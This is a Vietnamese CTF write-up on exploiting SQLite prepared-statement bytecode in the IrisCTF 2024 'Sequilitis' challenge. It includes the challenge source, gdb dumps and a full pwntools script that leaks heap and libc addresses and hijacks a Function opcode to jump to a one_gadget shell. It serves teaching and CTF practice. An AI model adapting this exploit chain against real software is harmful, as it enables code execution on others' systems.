# Exploit Select command in the SQLite3.h library ## Báo cáo lần 1 - KCSC - đây là báo cáo đầu tiên của mình khi vào clb **KCSC**, nên mình muốn làm nó thật chỉnh chu và tâm huyết - trong quá trình chơi CTF thì mình vô tình gặp phải 1 chall trong giải **IrisCTF 2024** sử dụng thư viện SQlite3.h trong C để setup, trước đó mình chưa học SQL bao giờ nên đã ko thể giải nó, điều này tạo ra ý tưởng để mình viết báo cáo này ![image](https://hackmd.io/_uploads/SyCoOLAKa.png) ### Note - trước khi học về cách exploit thì bạn nên biết 1 số lệnh cơ bản trong SQL - dưới đây sẽ là những kiến thức và kĩ thuật mình research **nhằm mục đích chơi PWN**, nên có thể nó sẽ ko đầy đủ và thiếu sót so với các mảng các trong CTF ## SQLite and Select command - trích từ tác giả của SQLite: **"SQLite is a C-language library that implements a small, fast, self-contained, high-reliability, full-featured, SQL database engine. SQLite is the most used database engine in the world. SQLite is built into all mobile phones and most computers and comes bundled inside countless other applications that people use every day."** - về Select command: **“The SELECT statement is the most complicated command in the SQL language.”** ## Overview - tổng quan sơ bộ về SQLite như sau ![image](https://hackmd.io/_uploads/BJceELAta.png) - trình biên dịch sẽ lấy SQL code chuyển thành bytecodes và xuất ra , **The Virtual Machine (VM)** sẽ lấy bytecodes đó để thực thi ![image](https://hackmd.io/_uploads/H1W9EUAtp.png) ## The compilation and execution process - đây là sơ đồ về quá trình thực thị SQLcode trong chương trình ![image](https://hackmd.io/_uploads/BkAJSUAKp.png) - phần đầu tiên được gọi trong thư viện là the compiler(trình biên dịch), nó sẽ gọi hàm **sqlite3_prepare_v2()** chuyển SQLcode thành bytecodes và lưu nó lại ![image](https://hackmd.io/_uploads/ryAKSIAY6.png) - tiếp theo bytecodes đó sẽ thực thi bằng hàm **sqlite3_step()** ![image](https://hackmd.io/_uploads/ry9kILCKa.png) - từ **btree** trở đi sẽ có công dụng là lưu trữ, chịu trách nhiệm đọc và ghi thông tin từ cơ sở dữ liệu, dữ liệu được lưu trữ trong một số thanh ghi ![image](https://hackmd.io/_uploads/rJjDv8CFp.png) - biết đến đây là đủ để exploit rồi, nếu muốn biết xem chi tiết hơn về từng lớp thì mình có để link tham khảo bên cuối báo cáo ## Bytecode in Select command - Bytecode được cấu trúc một cách nhất quán, mỗi thao tác dài 24 byte và được chia thành 6 đoạn 4byte(Int). Int đầu tiên chứa opcode và 5 Int còn lại chứa các arguments mà opcode sử dụng. Đây có thể là nhiều loại thanh ghi, con trỏ, giá trị không đổi, con trỏ, v.v. - Example: ```c sqlite> explain select 0x4141414141; addr opcode p1 p2 p3 p4 p5 comment ---- ------------- ---- ---- ---- ------------- -- ------------- 0 Init 0 4 0 0 Start at 4 1 Int64 0 1 0 280267669825 0 r[1]=280267669825 2 ResultRow 1 1 0 0 output=r[1] 3 Halt 0 0 0 0 4 Goto 0 1 0 0 ``` - khi **sqlite3_step()** thực thi `select 0x4141414141`, nó sẽ thực thi từng **opcodes Init, Int64, ResultRow, Halt và Goto** với các arg p1, p2, p3, p4 , p5 tương ứng - nếu ta thay đổi bytecodes 1 trong số opcode trên , ta sẽ thay đổi hướng thực thi của chương trình - về cách khai khác thì mình sẽ rõ hơn khi làm chall ## Some popular functions in theSQLite3.h library - **sqlite3_prepare_v2()**: như đã giới thiệu ở trên thì hàm này có sẽ chuyển SQLcode thành bytecodes vào lưu trữ nó trong 1 biến tùy ý - **sqlite3_reset()**: sử dụng để đặt lại trạng thái ban đầu của một câu lệnh đã được chuẩn bị - **sqlite3_step()**: thực thi từng cột trong 1 câu lệnh đã được chuẩn bị - **sqlite3_column_count()**: đếm số cột đã thực thi - **sqlite3_column_type()**: kiểm tra kiểu dữ liệu được trả về sau khi thực thi - **sqlite3_finalize()**: xóa bytecodes đã chuẩn bị # IrisCTF Sequilitis - sau khi research SQLite thì mình sẽ quay lại làm chall này để hiểu hơn ## Source C - main ```c int main(void) { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); sqlite3 *db = NULL; sqlite3_stmt *stmt[MAX_STATEMENTS] = {0}; if(sqlite3_open_v2("user.db", &db, SQLITE_OPEN_READWRITE | SQLITE_OPEN_MEMORY, NULL) != SQLITE_OK || db == NULL) { printf("Failed to open database! (Report to admin if this happens on remote)\n"); return -1; } printf("Welcome to my SQLite3 demo program!\n\ Make a choice:\n\ \n\ 1. Add a SQL query.\n\ 2. Execute a SQL query.\n\ 3. Delete a SQL query.\n\ 4. Exit\n"); int exit = 1; while(exit) { size_t choice = 0; size_t index = 0; printf("Choice: "); scanf("%zu", &choice); getchar(); switch (choice) { case 1: index = get_index(); prepare(db, &stmt[index]); break; case 2: index = get_index(); execute(db, stmt[index]); break; case 3: index = get_index(); delete(&stmt[index]); break; case 5: index = get_index(); inscribe(&stmt[index]); break; case 4: printf("Bye!\n"); exit = 0; break; default: printf("I don't know what that means.\n"); break; } } sqlite3_close(db); return 0; } ``` - prepare ```c void prepare(sqlite3 *db, sqlite3_stmt **stmt) { if(*stmt != NULL) { printf("There is already a prepared statement at this location.\n"); return; } char *sql = NULL; size_t sql_size = 0; printf("Please enter your SQL query in a single line:\n"); if(getline(&sql, &sql_size, stdin) != -1) { if(sqlite3_prepare_v2(db, sql, -1, stmt, NULL) == SQLITE_OK && // lưu sql vào stmt *stmt != NULL) { printf("Done.\n"); } else { printf("Could not prepare SQL.\n"); } } else { printf("Could not read SQL.\n"); } } ``` - execute ```c void execute(sqlite3 *db, sqlite3_stmt *stmt) { if(stmt == NULL) { printf("There is no prepared statement at this location.\n"); return; } sqlite3_reset(stmt); while(sqlite3_step(stmt) != SQLITE_DONE) // thực thi từng cột int cols = sqlite3_column_count(stmt); // số cột thực thi for(size_t i = 0; i < cols; i++) { switch (sqlite3_column_type(stmt, i)) { // check kiểu dữ liệu trả về của cột thực thi case SQLITE3_TEXT: printf("%s ", sqlite3_column_text(stmt, i)); break; case SQLITE_INTEGER: printf("%lld ", sqlite3_column_int64(stmt, i)); break; case SQLITE_FLOAT: printf("%g ", sqlite3_column_double(stmt, i)); break; case SQLITE_BLOB: printf("(blob) "); break; case SQLITE_NULL: printf("NULL "); default: break; } } printf("\n"); } ``` - delete ```c void delete(sqlite3_stmt **stmt) { if(*stmt == NULL) { printf("There is no prepared statement at this location.\n"); return; } sqlite3_finalize(*stmt); *stmt = NULL; } ``` - inscribe ```c void inscribe(sqlite3_stmt **stmt) { if(*stmt == NULL) { printf("There is no prepared statement at this location.\n"); return; } int amount = *(int *)((void *)*stmt + 0x90); unsigned char *tome = *(unsigned char **)((void *)*stmt + 0x88); printf("How many characters will you inscribe (up to %d)? ", amount * 24); int actual = 0; scanf("%d", &actual); getchar(); if(actual <= 0 || actual > amount * 24) { printf("Invalid amount.\n"); return; } printf("Inscribe your message: "); for (size_t i = 0; i < actual; i++) { *tome = getchar(); ++tome; } printf("\nIt has been done.\n"); } ``` ## Analysis - vì đã research ở trên nên dễ dàng hiểu được 3 hàm prepare, execute và delete. Option 1 cho phép ta nhập 1 lệnh SQL và **sqlite3_prepare_v2()** sẽ lưu nó vào stmt(stmt là 1 mảng con trỏ kép nhằm trong stack được khỏi tạo tại hàm main). Option 2 thì **sqlite3_step(stmt)** sẽ thực thi từng cột của lệnh SQL và trả về giá trị, sau đó thì **sqlite3_column_type(stmt, i)** sẽ check cái kiểu dữ liệu của lệnh đó và in nó ra. Option 3 đơn giản là xóa con trỏ đã chuẩn bị khỏi stmt - Hàm **inscribe()** khá khó hiểu nên ta cần debug kĩ để xem nó nhập vào đâu ```c unsigned char *tome = *(unsigned char **)((void *)*stmt + 0x88); for (size_t i = 0; i < actual; i++) { *tome = getchar(); ++tome; } ``` - mình prepare lệnh `select 7016996765293437281;` (0x6161616161616161 = 7016996765293437281) thử: ![image](https://hackmd.io/_uploads/BJKX8u0Y6.png) - wow, vậy là hàm **inscribe** cho phép ta nhập thẳng vào bytecodes của stmt => BUG - Bug ở đây khá giống dạng **FSOP**, nếu ta thay đổi addr heap chứa 'aaaaaaaa' thành 1 địa chỉ khác chứa heap, exe, libc thì khi ta execute nó sẽ ko in ra 'aaaaaaaa' mà in ra địa chỉ trỏ tới - có được địa chỉ cần thiết rồi thì ta cần tìm cách get shell là xong,cách làm có lẽ tương tự như **attack IO_FILE** (phần này khá dài nên mình viết ở dưới) ## Exploit ### Note - trước khi làm chall này mình có xem qua script trên discord, nếu bạn thật sự đã coi và thử chạy nó, thì bạn sẽ thấy nó thật sự rất rất dài và vô cùng khó hiểu - mình đã mất rất nhiều thời gian để debug và ngẫm nó, may mắn khi mình có sự hỗ trợ của anh **@ChinoKafuu** và cuối cùng cũng hiểu được nó và làm lại - dưới đây là cách làm của mình, và mình đảm bảo nó sẽ dễ hiểu hơn rất nhiều với các wu bạn từng đọc :)) ### Stage 1: Leak libc - vì ko có sẵn hàm tạo shell hay in flag nên bắt buộc ta phải leak libc trước rồi - trước tiên ta leak heap trước, cái này đơn giản chỉ cần thay đổi 1 byte cuối thành '0xe0' ![image](https://hackmd.io/_uploads/r1rRqdAYp.png) - có được heap rồi thì ra cần tạo ra heap trong unsorted bin để có libc, đến đây ta phải debug thử prepare và execute 1 lệnh bất kì để xem heap thay đổi như thế nào - đây là kết quả mình nhận được :))) ![image](https://hackmd.io/_uploads/HJFW2O0Ka.png) - nó đã tạo ra 79 cái chunk với các size khác nhau và free 42 chunk trong số đó :))) mình đã thử debug và check nó đang làm gì nhưng thật sự ko thu được gì nhiều - mà cái quan trọng là ta có thể free nhiều chunk như vậy thì nếu execute nhiều lần thì chắc chắn sẽ có chunk nhảy xuống ubin, sau đó là ta có libc rồi ```python payload = p64(0x8) + p64(0x4) + p64(0) + p64(0xf348) + p64(0x1) add(1, b'select 7016996765293437281;') ## aaaaaaaa edit(1, len(payload) + 1, payload + b'\xe0') run(1) heap = int(p.recvline()[:-2], 10) - 0xe008 print(hex(heap)) add(2, b'create table gookoo(a,b,c,d);') run(2) add(3, b'create table gookoo2(a,b,c,d);') run(3) add(4, b'insert into gookoo2(a,b,c,d) values(1,1,1,1);') run(4) delete(4) add(4, b'insert into gookoo(a,b,c,d) values(1,1,1,1);') run(4) delete(4) edit(1, len(payload) + 8, payload + p64(heap + 0x10f40 + 0x10)) run(1) libc.address = int(p.recvline()[:-2], 10) - 0x21acf0 print(hex(libc.address)) ``` ### Stage 2: get shell - đây mới bước thật sự khó vì đòi hỏi ta phải đọc source của thư viện **SQLite3.h**, để lấy được file này thì bạn chỉ build docker trong đó có 1 file zip, lấy nó và unzip thì bạn sẽ có được source - đến đây mình có tham khảo writeup thì thấy 1 opcode rất đặc biệt: The Function opcode. Đọc xem mô tả bên dưới ``` - Invoke a user function (P4 is a pointer to an sqlite3_context object that contains a pointer to the function to be run) with arguments taken from register P2 and successors. The number of arguments is in the sqlite3_context object that P4 points to. The result of the function is stored in register P3. Register P3 must not be one of the function inputs. - P1 is a 32-bit bitmask indicating whether or not each argument to the function was determined to be constant at compile time. If the first argument was constant then bit 0 of P1 is set. This is used to determine whether meta data associated with a user function argument using the sqlite3_set_auxdata() API may be safely retained until the next invocation of this opcode. ``` - có thể hiểu đơn giản là trong opcodes Function thì **thằng P4 sẽ chứa 1 con trỏ đến sqlite3_context**, ví dụ mà mình research được: ```python sqlite> explain select 'lollollol' as lol where lol like ''; addr opcode p1 p2 p3 p4 p5 comment ---- ------------- ---- ---- ---- ------------- -- ------------- 0 Init 0 9 0 0 Start at 9 1 Once 0 5 0 0 2 String8 0 2 0 0 r[2]='' 3 String8 0 3 0 lollollol 0 r[3]='lollollol' 4 Function 3 2 1 like(2) 0 r[1]=func(r[2..3]) 5 IfNot 1 8 1 0 6 String8 0 4 0 lollollol 0 r[4]='lollollol' 7 ResultRow 4 1 0 0 output=r[4] 8 Halt 0 0 0 0 9 Goto 0 1 0 0 ``` - ta debug và đọc bytecodes của lệnh `select 'lollollol' as lol where lol like '';` xem sao: ```c gdb-peda$ x/30gx 0x5604ce0d5be8 0x5604ce0d5be8: 0x0000000000000008 0x0000000000000009 0x5604ce0d5bf8: 0x0000000000000000 0x000000000000000f 0x5604ce0d5c08: 0x0000000000000005 0x0000000000000000 0x5604ce0d5c18: 0x000000000000fa75 0x0000000000000002 0x5604ce0d5c28: 0x00005604ce0d8ac8 0x000000000000fa75 0x5604ce0d5c38: 0x0000000000000003 0x00005604ce0d8a48 0x5604ce0d5c48: 0x000000030000f142 0x0000000100000002 0x5604ce0d5c58: 0x00005604ce0d89c8 0x0000000100000011 0x5604ce0d5c68: 0x0000000100000008 0x0000000000000000 0x5604ce0d5c78: 0x000000000000fa75 0x0000000000000004 0x5604ce0d5c88: 0x00005604ce0d8cc8 0x0000000400000054 0x5604ce0d5c98: 0x0000000000000001 0x0000000000000000 0x5604ce0d5ca8: 0x0000000000000046 0x0000000000000000 0x5604ce0d5cb8: 0x0000000000000000 0x0000000000000009 0x5604ce0d5cc8: 0x0000000000000001 0x0000000000000000 gdb-peda$ x/10gx 0x00005604ce0d89c8 0x5604ce0d89c8: 0x0000000000000000 0x00005604ccb30048 0x5604ce0d89d8: 0x0000000000000000 0x0000000000000000 0x5604ce0d89e8: 0x0000000000000004 0x0000000000020000 0x5604ce0d89f8: 0x0000000000000000 0x0000000000000000 0x5604ce0d8a08: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/10gx 0x00005604ccb30048 0x5604ccb30048: 0x0080080500000002 0x00005604ccb09cde 0x5604ccb30058: 0x00005604ccb30090 0x00005604ccaa0536 0x5604ccb30068: 0x0000000000000000 0x0000000000000000 0x5604ccb30078: 0x0000000000000000 0x00005604ccb09d60 0x5604ccb30088: 0x00005604ccb2f1f0 0x0080080500000003 gdb-peda$ x/3i 0x00005604ccaa0536 0x5604ccaa0536: endbr64 0x5604ccaa053a: push rbp 0x5604ccaa053b: mov rbp,rsp ``` - hmm có thể thấy nó chạy qua 2 con trỏ để thực thi, để dễ hiểu thì ta cần đọc qua source để xem thằng **sqlite3_context** có gì ```c struct sqlite3_context { Mem *pOut; /* The return value is stored here */ FuncDef *pFunc; /* Pointer to function information */ Mem *pMem; /* Memory cell used to store aggregate context */ Vdbe *pVdbe; /* The VM that owns this context */ int iOp; /* Instruction number of OP_Function */ int isError; /* Error code returned by the function. */ u8 enc; /* Encoding to use for results */ u8 skipFlag; /* Skip accumulator loading if true */ u8 argc; /* Number of arguments */ sqlite3_value *argv[1]; /* Argument set */ }; struct FuncDef { i8 nArg; /* Number of arguments. -1 means unlimited */ u32 funcFlags; /* Some combination of SQLITE_FUNC_* */ void *pUserData; /* User data parameter */ FuncDef *pNext; /* Next function with same name */ void (*xSFunc)(sqlite3_context*,int,sqlite3_value**); /* func or agg-step */ void (*xFinalize)(sqlite3_context*); /* Agg finalizer */ void (*xValue)(sqlite3_context*); /* Current agg value */ void (*xInverse)(sqlite3_context*,int,sqlite3_value**); /* inverse agg-step */ const char *zName; /* SQL name of the function. */ union { FuncDef *pHash; /* Next with a different name but the same hash */ FuncDestructor *pDestructor; /* Reference counted destructor function */ } u; /* pHash if SQLITE_FUNC_BUILTIN, pDestructor otherwise */ }; ``` - trong sqlite3_context sẽ có thằng **FuncDef** , còn FuncDef sẽ có thành ***xSFunc**, hmm vậy từ source trên thì ta có thể hiểu như thế này ```c gdb-peda$ x/10gx 0x00005604ce0d89c8 <- sqlite3_context 0x5604ce0d89c8: 0x0000000000000000 0x00005604ccb30048 <- FuncDef pointer 0x5604ce0d89d8: 0x0000000000000000 0x0000000000000000 0x5604ce0d89e8: 0x0000000000000004 0x0000000000020000 0x5604ce0d89f8: 0x0000000000000000 0x0000000000000000 0x5604ce0d8a08: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/10gx 0x00005604ccb30048 0x5604ccb30048: 0x0080080500000002 0x00005604ccb09cde 0x5604ccb30058: 0x00005604ccb30090 0x00005604ccaa0536 <- (*xSFunc)() 0x5604ccb30068: 0x0000000000000000 0x0000000000000000 0x5604ccb30078: 0x0000000000000000 0x00005604ccb09d60 0x5604ccb30088: 0x00005604ccb2f1f0 0x0080080500000003 ``` `Function opcode -> sqlite3_context -> FuncDef pointer -> *xSFunc` - đến đây thì ý tưởng quá rõ ràng rồi, tạo 1 lệnh select có **opcode Function**, sau đó sẽ orw **sqlite3_context** thành 1 con trỏ **(fake FuncDef pointer)** trỏ đến thằng one_gadget **(fake *xSFunc)**(), khi execute nó sẽ thực thi chạy ***xSFunc** và ta có được shell - thay vì cố gắng viết 1 lệnh có **opcode Function** thì ta có thể sử dụng luôn ví dụ mình tìm được ở trên sau đó orw payload để setup các arg p1, p2, p3, p4 ,p5 tương tự như lệnh `"select 'lollollol' as lol where lol like '';` là được, nhiệm vụ là ta chỉ cần chọn 1 lệnh nào đó có size đủ lớn để đủ viết payload là được, mình chọn `select * from gookoo, gookoo2;` `` đến đây sẽ có nhiều người khó hiểu tại sao không dùng luôn thằng select 'lollollol' as lol where lol like ''; đi mà phải fake từ select * from gookoo, gookoo2; Và mình cũng đã liên hệ và hỏi author thì biết đây chỉ là 1 ví dụ có opcodes function, và nó không thể đưa vào hàm sqlite3_prepare_v2() được vì 1 vài lý do nào đó, author chỉ dựa vào đây để tạo ra 1 lệnh có function opcode thôi `` ![image](https://hackmd.io/_uploads/rJPwhKRFT.png) - sau khi set xong cái arg thì ta sẽ tạo luôn 2 fake pointer ở dưới chứa **fake_FuncDef_pointer** và **fake_xSFunc_pointer** luôn - đây là bytecodes sau khi mình inscribe ![image](https://hackmd.io/_uploads/rk8e9tRYp.png) - và cuối cùng mình cũng có shell ![image](https://hackmd.io/_uploads/B1K76t0Y6.png) ## script ```python #!/usr/bin/env python3 from pwn import * exe = ELF("chal_patched") libc = ELF("./libc.so.6") context.binary = exe p = process([exe.path]) gdb.attach(p, gdbscript = ''' # b*prepare b*execute b*inscribe c ''') input() def add(idx, data): p.sendlineafter(b':', b'1') p.sendlineafter(b'?', str(idx)) p.sendlineafter(b':', data) def run(idx): p.sendlineafter(b':', b'2') p.sendlineafter(b'?', str(idx)) def delete(idx): p.sendlineafter(b':', b'3') p.sendlineafter(b'?', str(idx)) def edit(idx, size , data): p.sendlineafter(b':', b'5') p.sendlineafter(b'?', str(idx)) p.sendlineafter(b'?', str(size)) p.sendlineafter(b':', data) payload = p64(0x8) + p64(0x4) + p64(0) + p64(0xf348) + p64(0x1) add(1, b'select 7016996765293437281;') ## aaaaaaaa edit(1, len(payload) + 1, payload + b'\xe0') run(1) heap = int(p.recvline()[:-2], 10) - 0xe008 print(hex(heap)) add(2, b'create table gookoo(a,b,c,d);') run(2) add(3, b'create table gookoo2(a,b,c,d);') run(3) add(4, b'insert into gookoo2(a,b,c,d) values(1,1,1,1);') run(4) delete(4) add(4, b'insert into gookoo(a,b,c,d) values(1,1,1,1);') run(4) delete(4) edit(1, len(payload) + 8, payload + p64(heap + 0x10f40 + 0x10)) run(1) libc.address = int(p.recvline()[:-2], 10) - 0x21acf0 print(hex(libc.address)) add(4, b'select * from gookoo, gookoo2;') one_gadget = libc.address + 0xebc88 fake_sqlite3_context = heap + 0x9ec8 fake_FuncDef_pointer = heap + 0x9f18 fake_xSFunc_pointer = one_gadget part1 = b'getshell' + p64(fake_FuncDef_pointer) + b"\x00"*0x20 + p64(0) part2 = p64(0x1) + p64(0) + p64(0) + p64(fake_xSFunc_pointer) + p64(0) + p64(0) payload = p64(0x8) + p64(0x9) + p64(0) + p64(0xf) + p64(0x5) + p64(0x0) + p64(0xfa75) + p64(0x2) payload += p64(heap + 0x2000) + p64(0x75fa) + p64(0x3) + p64(heap + 0x3000) payload += p64(0x000000030000f142) + p64(0x0000000100000002) + p64(fake_sqlite3_context) payload += p64(0x0000000100000011) + p64(0x0000000100000008) + p64(0) + p64(0xfa75) + p64(0x4) payload += p64(0) + p64(0x0000000400000054) + p64(0x1) + p64(0) + p64(0x46) + p64(0) + p64(0) + p64(0x9) + p64((0x1)) + p64(0) payload += part1 payload += b"\x00" *0x18 payload += part2 payload += b"\x00" *0x40 edit(4, len(payload), payload) run(4) p.interactive() ``` ## Flag irisctf{just_select_flag_from_flag} ## Reference - youtube: https://www.youtube.com/live/poA497gSs-4?si=cnpFT5D0V80z5Try - book: https://www.compileralchemy.com/books/sqlite-internals/ - select command: https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/ - opcode: https://www.sqlite.org/opcode.html